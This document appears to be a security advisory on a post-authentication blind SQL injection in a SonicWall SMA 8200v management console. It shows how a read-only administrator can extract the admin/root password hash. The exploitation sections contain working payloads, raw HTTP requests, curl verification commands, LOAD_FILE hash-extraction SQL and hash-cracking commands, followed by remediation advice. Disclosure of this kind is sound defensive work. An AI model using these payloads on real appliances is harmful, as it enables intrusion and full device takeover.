
Improper neutralization of special elements used in an SQL command (“SQL Injection”) in SonicWall SMA1000 series appliances allows a remote authenticated attacker with read-only administrator privileges to escalate privileges to primary administrator.
A post-authentication blind SQL injection vulnerability in the SonicWall SMA 8200v management console (port 8443) allows any authenticated administrator — including low-privilege read-only accounts — to extract the primary administrator's SHA-512 password hash from the appliance configuration file. Because SonicWall uses the same credential for both the management console admin and the operating system root account, cracking this hash yields full root-level access to the appliance.
Classification: Privilege Escalation (Low-privilege admin to Root) CVSS 3.1: 7.2 (High) — AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H Attack Complexity: Low (automated PoC completes extraction in ~60-90 minutes) Prerequisites: Any valid management console credential (including read-only accounts)
The management console constructs SQL queries for the Active Users dashboard using a helper method safeParam() in the class com.aventail.mgmt.sql.Sql. This method escapes single-quotes (') and double-quotes (") by doubling them, but it does not escape backslash characters (\).
In MySQL/MariaDB, a backslash is the default escape character inside string literals. The sequence \' causes the database to interpret the single-quote as a literal character rather than a string terminator. This means a backslash at the end of a parameter value will escape the closing quote that the application appends, causing the SQL string literal to extend into adjacent syntax.
Sanitization gap:
Input: test\
safeParam output: test\ (backslash NOT escaped)
In SQL: ... rt.name='test\') AND (ct.name='...'
^^ backslash escapes the closing quote
The closing ' after test\ is consumed as a literal quote character within the string, so the SQL string literal extends across the ) AND (ct.name=' boundary and into the next parameter's value, where attacker-controlled SQL can be injected.
The activeUsers.action endpoint accepts multiple filter parameters that are interpolated into a single SQL WHERE clause. The relevant parameters are realmFilter and communityFilter, which appear in a query structured approximately as:
SELECT ... FROM ...
WHERE ...
AND (rt.name='<realmFilter>')
AND (ct.name='<communityFilter>')
...
Attack parameter setup:
| Parameter | Value | Purpose |
|---|---|---|
realmFilter | test\ | Trailing backslash escapes the closing quote, extending the string literal across the AND boundary |
communityFilter | )) OR (SELECT IF(<condition>,SLEEP(N),0))-- x | Closes the open parentheses, injects conditional SLEEP, comments out remainder |
Resulting SQL after interpolation:
WHERE ... AND (rt.name='test\') AND (ct.name='
)) OR (SELECT IF(<condition>,SLEEP(N),0))-- x')
Breaking this down:
rt.name='test\') — the \ escapes the ', so the string doesn't close hereAND (ct.name=' — becomes part of the string value (literal text)' (from communityFilter's start))) — closes the two open parentheses from the WHERE clause structureOR (SELECT IF(...)) — injects the blind SQLi condition-- x — comments out the remaining SQL (') and other clauses)Since the application's Struts 2 error handling catches SQL exceptions gracefully (always returning HTTP 200 with the same page content regardless of query success or failure), error-based and UNION-based extraction methods are not viable. The injection is exploited using time-based blind technique:
IF(<condition>, SLEEP(N), 0) — response delayed by SLEEP duration multiplied by result set row countThe SLEEP function executes per-row in the WHERE clause evaluation. With a typical monitoring table containing 30-300+ rows, even a small SLEEP value (e.g., 0.3s) produces a clearly distinguishable delay (10-100s for TRUE vs. <1s for FALSE).
Each character of the target data is extracted via binary search over the ASCII range:
ORD(SUBSTRING((<extraction_expr>), <position>, 1)) > <midpoint>
This requires a maximum of 7 requests per character (log2(128) = 7), yielding ~686 total requests for a 98-character SHA-512 hash.
PRIVILEGE ESCALATION CHAIN
============================================================================
[1] Authenticate Low-privilege admin (e.g., "readonly")
| authenticates to management console on port 8443
| using "Local Authentication" realm
v
[2] SQL Injection Cross-parameter blind SQLi via activeUsers.action
| realmFilter backslash + communityFilter payload
| Condition: IF(<expr>, SLEEP(N), 0)
v
[3] LOAD_FILE() MariaDB DbAdmin user has FILE privilege
| secure_file_priv=NULL does NOT block reads
| avconfig.xml is group-readable (mode 664)
v
[4] Locate Hash LOCATE('consoleMode', file) anchors to admin section
| LOCATE('<password>', file, anchor) finds hash element
| SUBSTRING + SUBSTRING_INDEX extracts hash value
v
[5] Extract Hash Binary search extracts hash char-by-char
| ~98 chars * ~7 requests = ~686 requests
| Output: $6$<salt>$<hash> (SHA-512 crypt)
v
[6] Crack Hash hashcat -m 1800 / john --format=sha512crypt
| Admin password = Root SSH password (by design)
v
[7] Full Compromise SSH as root, management console as admin
Complete appliance takeover
The SMA management console supports two authentication realms:
| Realm ID | Display Name | Users |
|---|---|---|
| (empty) | Management Console | Primary admin account only |
AMCAuthRealm / Local Authentication | Local Authentication | Secondary admin accounts (readonly, custom) |
The attack requires only a valid credential for any account with management console access. The "readonly" account — intended for monitoring-only access with no configuration change capability — is sufficient.
Authentication is performed via J2EE FORM-based authentication:
GET /console.action — retrieves login page, extract CSRF token from hidden form fieldPOST /j_security_check — submit csrfToken, j_username, j_password, and realmIdJSESSIONID cookie establishedAfter authentication, the attacker sends a POST request to /activeUsers.action with the cross-parameter injection:
POST /activeUsers.action HTTP/1.1
Host: <target>:8443
Cookie: JSESSIONID=<session>
Content-Type: application/x-www-form-urlencoded
realmFilter=test\&communityFilter=)) OR (SELECT IF(1=1,SLEEP(0.3),0))-- x&userNameFilter=&zoneFilter=&platformFilter=&agentFilter=&agentVersionFilter=&sessionType=activeSessions&timePeriod=0&pageSize=25&command=filter
The unconditional IF(1=1, SLEEP(0.3), 0) verifies the injection is functional by observing a measurable delay in the HTTP response.
The MariaDB database runs under the OS user DbAdmin (uid=1001, gid=500 aventail). This database user holds ALL PRIVILEGES ON *.* WITH GRANT OPTION, including the FILE privilege required for LOAD_FILE().
A critical finding: despite the MariaDB configuration setting secure_file_priv = NULL (which blocks INTO OUTFILE and INTO DUMPFILE write operations), the LOAD_FILE() function for reading files remains fully operational. This is a documented but poorly understood MariaDB behavior — secure_file_priv=NULL restricts file write paths but does not disable file reads when the user has the FILE privilege.
The target configuration file /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml is owned by mgmt-server:aventail with permissions 664 (rw-rw-r--). Since the DbAdmin OS user is in the aventail group, LOAD_FILE() can read this file.
Verification via blind SQLi:
-- Check file is readable (non-NULL)
IF(LOAD_FILE(0x2f7573722f6c6f63616c2f...)<path hex>...) IS NOT NULL, SLEEP(0.3), 0)
-- TRUE: file is readable
The avconfig.xml file (~98KB) is the appliance's master configuration store. It contains all user credentials in SHA-512 crypt format within <password> XML elements. The primary admin hash is located in a <credentials_item> block near a <consoleMode> element that is unique to the admin section.
Rather than relying on hardcoded byte offsets (which would break if configuration above the admin section changes), the extraction uses MySQL string functions to dynamically locate the hash:
SUBSTRING_INDEX(
SUBSTRING(
LOAD_FILE(<path>),
LOCATE('<password>', LOAD_FILE(<path>),
LOCATE('consoleMode', LOAD_FILE(<path>))
) + 10, -- skip past '<password>' tag (10 chars)
120 -- max SHA-512 crypt length
),
'<', -- trim at '</password>' closing tag
1
)
Logic:
LOCATE('consoleMode', file) — finds the byte offset of the consoleMode string, anchoring to the admin configuration sectionLOCATE('<password>', file, anchor_offset) — finds the first <password> tag after that anchorSUBSTRING(file, tag_offset + 10, 120) — extracts the hash value (skipping the 10-char <password> tag)SUBSTRING_INDEX(result, '<', 1) — trims at the </password> closing tagThis approach is position-independent and resilient to configuration changes elsewhere in the file. The entire expression is encoded using MySQL hex literals (0x...) to avoid quoting issues within the injection context.
Each character of the hash is extracted via binary search:
-- Is character at position P greater than midpoint M?
IF(ORD(SUBSTRING((<hash_expr>), <P>, 1)) > <M>, SLEEP(0.3), 0)
The binary search narrows the ASCII range [0, 127] by half with each request:
For the known admin hash ($6$WHTK8ybQ$MchVNW...), extraction of all 98 characters requires approximately 686 HTTP requests.
The extracted hash is in standard SHA-512 crypt format:
$6$WHTK8ybQ$MchVNWPdTpsP7oDyQSs1jW/.4ppR8/uzmvh06sbEPITNOO6JpeJdtEuD13yiHsF8ZvFdqaDkchMh.9O.e38Q/0
| Field | Value |
|---|---|
| Algorithm | — SHA-512 crypt |
# Hashcat
hashcat -m 1800 -a 0 admin.hash /usr/share/wordlists/rockyou.txt -O
# John the Ripper
john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt admin.hash
The SonicWall SMA architecture uses the management console admin password as the OS root password. This is a design decision — when the admin password is set or changed through the management console, it is applied to both the web interface and the underlying Linux root account. Therefore, cracking the admin hash provides:
Multiple architectural decisions compound to make this vulnerability exploitable:
The safeParam() method in com.aventail.mgmt.sql.Sql escapes quotes but not backslashes. This is a well-known class of SQL injection — MySQL's backslash escape behavior has been documented as a security concern since the early 2000s. The fix is trivial: either escape backslashes (\ → \\), or set NO_BACKSLASH_ESCAPES SQL mode, or use parameterized queries.
The MariaDB DbAdmin user runs with ALL PRIVILEGES ON *.* WITH GRANT OPTION. This grants capabilities far beyond what the application requires, including:
FILE privilege (LOAD_FILE, INTO OUTFILE)SUPER privilegeGRANT OPTION (can create new superuser accounts)The application only needs SELECT/INSERT/UPDATE/DELETE on its own databases. The excessive privileges transform a SQL injection from data extraction to arbitrary file read/write.
While secure_file_priv = NULL blocks file write operations (INTO OUTFILE, INTO DUMPFILE), it does not block file read operations (LOAD_FILE()). This is a documented MariaDB behavior that is frequently misunderstood. Administrators and developers often assume that secure_file_priv = NULL disables all file I/O, but it only restricts the write path.
To fully disable LOAD_FILE(), the FILE privilege must be revoked from the database user:
REVOKE FILE ON *.* FROM 'DbAdmin'@'localhost';
The avconfig.xml file containing all password hashes is owned by mgmt-server:aventail with mode 664. The aventail group includes the DbAdmin OS user (under which MariaDB runs). This means the database process can read the appliance's master configuration file, including all stored credentials.
A more restrictive permission model (e.g., mode 600 owned by mgmt-server:mgmt-server, or storing hashes in a dedicated secrets file readable only by the management application) would prevent LOAD_FILE() from accessing the hashes even with the FILE privilege.
The design decision to use the same password for the management console admin and the OS root account means that extracting the admin hash from the application layer directly yields operating system root access. This eliminates any boundary between the web application tier and the underlying operating system.
The "readonly" management console role is intended to provide monitoring-only access without configuration change capability. However, the activeUsers.action endpoint processes filter parameters identically for all authenticated users, regardless of role. The read-only account can execute the same SQL injection as the primary admin, because the vulnerability is in the data retrieval path (listing/filtering active users), not in a configuration change path.
A fully automated exploitation tool was developed and validated against the live target.
Usage (readonly account — proving privilege escalation):
python3 sma_admin_hash_poc.py \
-t 10.10.185.35 \
--user readonly \
--password <readonly_password> \
--realm "Local Authentication" \
-o admin.hash \
-v
Execution phases:
Observed output:
[*] Target: 10.10.10.35:8443
[*] User: readonly
[*] Realm: Local Authentication
[*] Phase 1: Authenticating to admin console...
[+] Authentication successful
[*] Phase 2: Verifying attack prerequisites...
[+] SQLi CONFIRMED - IF(1=1,SLEEP) triggered (16.7s)
[+] LOAD_FILE(avconfig.xml) - readable
[+] consoleMode anchor found in avconfig.xml
[+] Admin SHA-512 hash located in avconfig.xml
[*] Phase 3: Extracting admin password hash...
Extracting admin hash: $6$WHTK8ybQ$MchVNWPdTps...
The injection can also be verified manually without the PoC tool:
# Authenticate and obtain session cookie
curl -sk -c cookies.txt \
"https://<target>:8443/console.action" | grep csrfToken
curl -sk -b cookies.txt -c cookies.txt \
-d "csrfToken=<token>&j_username=readonly&j_password=<pass>&realmId=Local+Authentication" \
"https://<target>:8443/j_security_check"
# Baseline request (no injection) — expect ~200ms
time curl -sk -b cookies.txt \
-d "realmFilter=test&communityFilter=test&sessionType=activeSessions&timePeriod=0&pageSize=25&command=filter" \
"https://<target>:8443/activeUsers.action" -o /dev/null -w "%{time_total}"
# Injected request (SLEEP 5 via subquery) — expect 10+ seconds
time curl -sk -b cookies.txt \
--data-urlencode "realmFilter=test\\" \
--data-urlencode "communityFilter=)) OR (SELECT 1 FROM (SELECT SLEEP(5)) AS t)-- x" \
-d "sessionType=activeSessions&timePeriod=0&pageSize=25&command=filter" \
"https://<target>:8443/activeUsers.action" -o /dev/null -w "%{time_total}"
With root SSH access, the SQL extraction expression can be verified directly:
-- Verify LOAD_FILE reads the config (returns file size)
SELECT LENGTH(LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml'));
-- Result: 98248
-- Extract admin hash directly
SELECT SUBSTRING_INDEX(
SUBSTRING(
LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml'),
LOCATE('<password>',
LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml'),
LOCATE('consoleMode',
LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml')
)
) + 10,
120
),
'<',
1
) AS admin_hash;
-- Result: $6$WHTK8ybQ$MchVNWPdTpsP7oDyQSs1jW/.4ppR8/uzmvh06sbEPITNOO6JpeJdtEuD13yiHsF8ZvFdqaDkchMh.9O.e38Q/0
| Impact | Description |
|---|---|
| Confidentiality | Full read access to all files readable by the aventail group, including configuration files, credentials, certificates, and keys |
Scenario 1: Insider Threat / Least Privilege Violation A read-only administrator (SOC analyst, auditor, junior engineer) with legitimate monitoring access escalates to full admin/root, bypassing all role-based access controls.
Scenario 2: Credential Compromise Escalation An attacker who obtains any management console credential (phishing, credential stuffing, default passwords) can escalate to root regardless of the compromised account's intended privilege level.
Scenario 3: Network Pivot Root access to the SMA appliance provides a persistent foothold at the network edge. The attacker can intercept VPN traffic, modify routing, access internal network segments, and extract all VPN user credentials from the configuration.
Parameterized Queries: Replace string interpolation in safeParam() with prepared statements / parameterized queries throughout the management console's SQL layer. This eliminates the injection regardless of character escaping.
Revoke FILE Privilege: Remove the FILE privilege from the DbAdmin database user:
REVOKE FILE ON *.* FROM 'DbAdmin'@'localhost';
FLUSH PRIVILEGES;
Restrict Database Privileges: Apply least-privilege to DbAdmin — grant only SELECT, INSERT, UPDATE, DELETE on the specific databases the application requires (monitoring, scheduler, troubleshooting).
Restrict avconfig.xml Permissions: Change file ownership and permissions to prevent the database user from reading the configuration:
chown mgmt-server:mgmt-server /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml
chmod 600 /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml
Separate Admin and Root Credentials: Decouple the management console admin password from the OS root password. Use distinct credentials with independent change/rotation mechanisms.
Role-Based Endpoint Access: Restrict the activeUsers.action endpoint (and all other data-querying endpoints) based on user role at the application layer, not just at the UI/menu level.
SQL Mode Hardening: Set NO_BACKSLASH_ESCAPES in the MariaDB configuration to disable backslash escape interpretation globally:
[mysqld]
sql_mode = NO_BACKSLASH_ESCAPES,STRICT_TRANS_TABLES
Hash Storage Separation: Store password hashes in a dedicated file or database table that is not accessible to the general application database user, rather than in the main XML configuration file.
LOAD_FILE() requires FILE privilege; secure_file_priv restricts SELECT ... INTO but not LOAD_FILE()NO_BACKSLASH_ESCAPES is not set, \ is treated as an escape character in string literals$6$ prefix, configurable rounds (default 5000), 86-character Base64 hash output$6$)| Component | Details |
|---|
| Platform | SonicWall SMA 8200v (virtual appliance) |
| Firmware | 12.5.0-02283 (confirmed); likely all 12.x |
| Service | Management Console — Jetty + Struts 2 (port 8443) |
| Endpoint | POST /activeUsers.action |
| Vulnerable Parameters | realmFilter, communityFilter (cross-parameter) |
| Root Cause Class | com.aventail.mgmt.sql.Sql.safeParam() |
| Database | MariaDB 10.11.14, user DbAdmin (ALL PRIVILEGES + FILE) |
| Target File | /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml |
| Step | Range | Test | Result |
|---|
| 1 | [0, 127] | > 63? | TRUE → [64, 127] |
| 2 | [64, 127] | > 95? | FALSE → [64, 95] |
| 3 | [64, 95] | > 79? | FALSE → [64, 79] |
| ... | ... | ... | ... |
| 7 | [n, n] | converged | Character = chr(n) |
$6$| Salt | WHTK8ybQ |
| Rounds | 5000 (default, not specified) |
| Hashcat mode | 1800 |
| John format | sha512crypt |
| After hash cracking: full admin console access enables arbitrary configuration changes, policy modifications, and user management |
| Availability | Root access enables service disruption, data destruction, or permanent device bricking |
| Date | Event |
|---|
| 2026-02-24 | Cross-parameter SQLi identified via static analysis of safeParam() |
| 2026-02-24 | Blind SQLi confirmed with admin session (SLEEP timing) |
| 2026-02-25 | SQLi confirmed with readonly account (privilege escalation vector) |
| 2026-02-25 | LOAD_FILE() confirmed operational despite secure_file_priv=NULL |
| 2026-02-25 | avconfig.xml identified as credential store with admin/root hash |
| 2026-02-25 | SQL extraction expression validated via MySQL CLI |
| 2026-02-25 | Full automated extraction confirmed with PoC tool (sma_admin_hash_poc.py) |
| 2026-02-25 | Privilege escalation chain validated: readonly -> admin/root hash |